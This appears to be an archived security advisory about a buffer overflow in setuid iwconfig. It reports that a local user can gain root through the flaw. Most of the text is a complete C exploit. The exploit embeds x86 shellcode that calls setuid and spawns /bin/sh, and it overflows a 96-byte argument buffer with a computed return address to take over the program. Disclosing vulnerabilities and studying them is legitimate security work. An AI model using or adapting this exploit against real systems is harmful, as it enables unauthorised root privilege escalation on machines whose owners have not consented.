[EXPL] Iwconfig Buffer Overflow

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  Iwconfig Buffer Overflow
------------------------------------------------------------------------


SUMMARY

Iwconfig "is similar to ifconfig, but is dedicated to the wireless 
interfaces. It is used to set the parameters of the network interface 
which are specific to the wireless operation". A buffer overflow 
vulnerability in iwconfig allows a local attacker to gain root privileges 
wherever the program is installed with setuid privileges.

DETAILS

Exploit Code:
//Diabolic Crab's Local Root Exploit
///usr/sbin/iwconfig or /sbin/iwconfig
//dcrab@xxxxxxxxxxxxxxxxx
//www.hackerscenter.com

#include <stdio.h>
#include <string.h>
#include <unistd.h>

char shellcode[]=
        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid() */
        "\xeb\x5a\x5e\x31\xc0\x88\x46\x07\x31\xc0\x31\xdb\xb0\x27\xcd"
        "\x80\x85\xc0\x78\x32\x31\xc0\x31\xdb\x66\xb8\x10\x01\xcd\x80"
        "\x85\xc0\x75\x0f\x31\xc0\x31\xdb\x50\x8d\x5e\x05\x53\x56\xb0"
        "\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89\x5e\x08\x89\x46\x0c\x50"
        "\x8d\x4e\x08\x51\x56\xb0\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89"
        "\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
        "\xcd\x80\xe8\xa1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

int main(int argc,char **argv){
   char buf[96];
   unsigned long ret;
   int i;

   char *prog[]={"/sbin/iwconfig",buf,NULL};
   char *env[]={"EGG=",shellcode,NULL};

   ret=0xc0000000-strlen(shellcode)-strlen(prog[0])-0x06;
   printf("use ret addr: 0x%x\n",ret);

   memset(buf,0x41,sizeof(buf));
   memcpy(&buf[92],&ret,4);

   execve(prog[0],prog,env);

  }


ADDITIONAL INFORMATION

The information has been provided by  <mailto:dcrab@xxxxxxxxxxxxxxxxx> 
Dcrab.
The original article can be found at:  
<http://icis.digitalparadox.org/~dcrab/dc_iwconfig.c> 
http://icis.digitalparadox.org/~dcrab/dc_iwconfig.c



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